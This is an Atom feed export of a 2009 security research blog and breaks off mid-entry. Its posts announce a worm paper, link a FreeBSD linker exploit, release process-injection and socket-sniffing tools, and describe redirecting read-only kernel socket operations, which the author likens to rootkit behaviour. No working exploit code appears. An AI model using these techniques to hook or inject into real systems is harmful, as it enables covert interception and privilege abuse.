<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss'><id>tag:blogger.com,1999:blog-3606809368389861108</id><updated>2009-12-28T06:05:50.825-08:00</updated><title type='text'>C skills</title><subtitle type='html'>A blog dedicated to software and network trickery.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default?start-index=26&amp;max-results=25'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>60</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-3908864375037402519</id><published>2009-12-23T06:40:00.000-08:00</published><updated>2009-12-23T06:40:38.070-08:00</updated><title type='text'>Thoughts on companion worms</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I wrote a paper almost a year ago now and since it has been&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;reviewed by a lot of skilled people including, but not limited&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;to, anti virus researchers, its time to make it public.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Its about a special kind of worm and vulnerabilities&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;which are commonly under-hyped like &lt;b&gt;CVE-2008-2383 &lt;/b&gt;which&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;most people would probably only recognize as local, if at all.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;You can find the paper &lt;a href="http://is.gd/5yKDN"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;Enjoy reading it, if you feel that X-mess is coming :)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;This is most likely the last posting for this year, so&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I wish you merry X-mas and happy new year. You can find me&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;at the 26C3 in Berlin this year, if everything goes straight.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-3908864375037402519?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/3908864375037402519/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=3908864375037402519' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3908864375037402519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3908864375037402519'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/12/thoughts-on-companion-worms.html' title='Thoughts on companion worms'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-5183103254742904466</id><published>2009-11-30T23:47:00.000-08:00</published><updated>2009-11-30T23:47:39.720-08:00</updated><title type='text'>Always check return value!</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;A nice bug inside the FreeBSD runtime linker has been&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;reported &lt;a href="http://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/"&gt;here.&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;It was good that I hashed my previous exploit&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;(discovered it some months ago) in my twitter message&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;from November 5th:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;md5 4b1717926ed0d4823622011625fb1824 sha1 6871fd05efbddf7eea4447f7bfdc1c9a45979fe3&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;Since a public exploit is now available anyway,&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;I also make my version public and you can check the&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;hashes&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;&lt;a href="http://stealth.openwall.net/xSports/fbsd-rtld-full-package"&gt;here&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;to prove it.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I have a strange feeling that this re-discovery comes &lt;b&gt;now&lt;/b&gt;,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;since I talked to some people regarding BSD bugs lately.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Nevertheless I know &lt;i&gt;kingcope&lt;/i&gt; is a skilled reviewer and&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;it was not the first time he had BSD as a target.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-5183103254742904466?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/5183103254742904466/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=5183103254742904466' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/5183103254742904466'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/5183103254742904466'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/11/always-check-return-value.html' title='Always check return value!'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-2492307403970465284</id><published>2009-11-15T00:58:00.000-08:00</published><updated>2009-11-15T00:59:52.138-08:00</updated><title type='text'>Adventures in Heap Cloning</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;&lt;b&gt;Heap&lt;/b&gt; seems to be a magic word. I never got download rates&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;like this for a paper. Since there was no feedback that&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;told me that I am completely wrong, I make it&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;available to a broader public now. A small chapter has been&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;added: 'Countermeasures'.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;The paper is available &lt;a href="http://is.gd/4VoyW"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;You probably know that I am not a memory-guy, so do not&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;expect much more research in this area by me.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;I rather really enjoy developing code that hashes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;like this: &amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;sha1: c60a0e1daff22c0d97eb03f509c7135d119d830b&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;md5: fcb19f8317449ad9f93a12fccb63c650.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-2492307403970465284?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/2492307403970465284/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=2492307403970465284' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2492307403970465284'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2492307403970465284'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/11/adventures-in-heap-cloning.html' title='Adventures in Heap Cloning'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-1170859418088631095</id><published>2009-11-02T02:23:00.000-08:00</published><updated>2009-11-02T02:23:33.665-08:00</updated><title type='text'>xorl blog seems to be up again</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;A few weeks/months ago I sadly realized that the author&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;of the &lt;a href="http://xorl.wordpress.com/"&gt;xorl blog&lt;/a&gt; was quitting his writeups. Now it seems&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;that he is continuing his activities. Now I have&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;something nice to read at the beginning of the day. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Although he  doesn't speak about vulnerabilities he found&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;himself, its one of the better security blogs in my opinion.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I really enjoy reading it and like to recommend it to&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;everyone interested in software trickery.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I want more OpenBSD foo. :)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-1170859418088631095?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/1170859418088631095/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=1170859418088631095' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1170859418088631095'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1170859418088631095'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/11/xorl-blog-seems-to-be-up-again.html' title='xorl blog seems to be up again'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-964495706628978291</id><published>2009-10-16T07:35:00.000-07:00</published><updated>2009-10-16T07:38:34.344-07:00</updated><title type='text'>injectso 32bit x86 port</title><content type='html'>&lt;a href="http://is.gd/4mwAp"&gt;i&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;njectso&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; now supports x86 and x86-64 architecture. &lt;/span&gt;&lt;b style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;make&lt;/b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; automagically&lt;/span&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;compiles the correct version.I also added some code cleanups and&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;error checking as well as the possibility to inject DSO's with relative&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;pathnames as suggested by a patch I received.&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Do not forget to vote (right toolbar:) !&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-964495706628978291?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/964495706628978291/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=964495706628978291' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/964495706628978291'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/964495706628978291'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/10/injectso-32bit-x86-port.html' title='injectso 32bit x86 port'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-8527238389548830035</id><published>2009-10-14T08:43:00.000-07:00</published><updated>2009-10-14T08:43:20.564-07:00</updated><title type='text'>New injectso available</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I ported &lt;a href="http://is.gd/4jpxU"&gt;injectso&lt;/a&gt; to the new glibc (2.5, 2.9 and 2.10 tested).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;It now runs on Linux/x86-64 machines. Original&amp;nbsp; developed&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;by Shaun Clowes in 2001 for i386 and sparc it showed that&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;there is a really simple way on current systems to do that.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-8527238389548830035?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/8527238389548830035/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=8527238389548830035' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8527238389548830035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8527238389548830035'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/10/new-injectso-available.html' title='New injectso available'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-6551347025974277205</id><published>2009-09-30T02:44:00.000-07:00</published><updated>2009-09-30T05:44:20.666-07:00</updated><title type='text'>unixdump UNIX-socket sniffer available</title><content type='html'>&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold;"&gt;Update:&lt;/span&gt;&lt;br /&gt;Released new version &lt;a href="http://www.suse.de/%7Ekrahmer/unixdump-0.42.tgz"&gt;(0.42)&lt;/a&gt; since 0.41 (not avail anymore)&lt;br /&gt;crashes when accessing udmp device afer &lt;span style="font-style: italic;"&gt;rmmod&lt;/span&gt;.&lt;br /&gt;(The dynamically assigned major number was not updated&lt;br /&gt;for unregistering.) Thanks to &lt;span style="font-style: italic;"&gt;myself&lt;/span&gt; for reviewing my own&lt;br /&gt;code :)&lt;br /&gt;&lt;br /&gt;Ok, its finally avail &lt;a href="http://is.gd/3OtDW"&gt;here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Do not run it inside an &lt;span style="font-style: italic;"&gt;xterm&lt;/span&gt; or otherwise its&lt;br /&gt;like sniffing all tcp traffic remotely on a ssh shell.&lt;br /&gt;BTW ssh. Due to my ssh timing/packet-size patch&lt;br /&gt;I've been called a &lt;span style="font-style: italic;"&gt;Iran circumvention developer.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Really funny wording. I like to add that to my&lt;br /&gt;resume.&lt;br /&gt;And right in time while typing&lt;br /&gt;they play LOA with &lt;span style="font-weight: bold;"&gt;Love to let you down&lt;/span&gt;.&lt;br /&gt;What do you want more?&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-6551347025974277205?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/6551347025974277205/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=6551347025974277205' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6551347025974277205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6551347025974277205'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/09/unixdump-unix-socket-sniffer-available.html' title='unixdump UNIX-socket sniffer available'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-7777450765220821789</id><published>2009-09-29T09:02:00.000-07:00</published><updated>2009-09-29T09:21:41.644-07:00</updated><title type='text'>When const really means const</title><content type='html'>&lt;span style="font-family: courier new;"&gt;&lt;span style="font-family: courier new;"&gt;Who cares about &lt;span style="font-weight: bold;"&gt;const&lt;/span&gt;? Its never enforced anyways!?&lt;br /&gt;&lt;br /&gt;Except in Linux kernels built with gcc 4.x (maybe even&lt;br /&gt;before?). If you declare a &lt;span style="font-style: italic;"&gt;&lt;/span&gt;pointer member &lt;span style="font-style: italic;"&gt;const&lt;/span&gt;&lt;br /&gt;(the thing it points to, not the pointer itself), like&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;proto_ops&lt;/span&gt; in the &lt;span style="font-weight: bold;"&gt;socket&lt;/span&gt; &lt;span style="font-style: italic;"&gt;struct&lt;/span&gt;, the pointee will be placed in a&lt;br /&gt;RO location which means you cant redirect socket operation&lt;br /&gt;functions like &lt;span style="font-style: italic;"&gt;recvmsg()&lt;/span&gt;. You have to make the right PTE&lt;br /&gt;writable in order to redirect the functions.&lt;br /&gt;Rootk^H^H^H^H^HCertain debugging LKMs like my unixdump&lt;br /&gt;require to redirect some functions in order to record&lt;br /&gt;whats sent across sockets. unixdump works like tcpdump&lt;br /&gt;for inet sockets. The version which is available now was&lt;br /&gt;written in 2006 for the 2.6.16 kernel and doesnt work with&lt;br /&gt;recent/current ones (and its dirty and hackish anyways).&lt;br /&gt;Thats why I ported it within the last days to current kernels.&lt;br /&gt;It will be uploaded soon.&lt;br /&gt;The way you can modify const members changed in current kernels;&lt;br /&gt;in fact is is easier than before b/c a new function &lt;span style="font-style: italic;"&gt;lookup_address()&lt;/span&gt;&lt;br /&gt;is exported and you do not need to walk the PGD down.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-7777450765220821789?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/7777450765220821789/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=7777450765220821789' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7777450765220821789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7777450765220821789'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/09/when-const-really-means-const.html' title='When const really means const'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-7086417035920815549</id><published>2009-09-22T04:24:00.000-07:00</published><updated>2009-09-22T04:32:14.825-07:00</updated><title type='text'>GCC -fmudflap</title><content type='html'>&lt;span style="font-family:courier new;"&gt;Programs compiled with &lt;span style="font-weight: bold;"&gt;-fmudflap&lt;/span&gt; are given &lt;span style="font-style: italic;"&gt;protection&lt;/span&gt; by &lt;span style="font-style: italic;"&gt;GCC&lt;/span&gt;&lt;br /&gt;against overflow conditions etc. The &lt;span style="font-style: italic;"&gt;GCC&lt;/span&gt; then adds a runtime&lt;br /&gt;to track&amp;amp;check operations on arrays etc..&lt;br /&gt;To specify runtime behavior, you can pass various&lt;br /&gt;options via the &lt;span style="font-style: italic;"&gt;$MUDFLAP_OPTIONS&lt;/span&gt; environment variable.&lt;br /&gt;If we look how the mudflap runtime is&lt;br /&gt;handling these options, we have:&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;  case viol_gdb:&lt;br /&gt;&lt;br /&gt;    snprintf (buf, 128, "gdb --pid=%u", (unsigned) getpid ());&lt;br /&gt;    system (buf);&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note, that &lt;span style="font-style: italic;"&gt;mudflap&lt;/span&gt; is made for security reasons. For programs&lt;br /&gt;like network servers or &lt;span style="font-weight: bold;"&gt;setuid binaries&lt;/span&gt;.&lt;br /&gt;I made a bugzilla entry into the &lt;span style="font-style: italic;"&gt;GCC&lt;/span&gt; bugzilla since this&lt;br /&gt;should be changed somehow :)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-7086417035920815549?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/7086417035920815549/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=7086417035920815549' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7086417035920815549'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7086417035920815549'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/09/gcc-fmudflap.html' title='GCC -fmudflap'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total 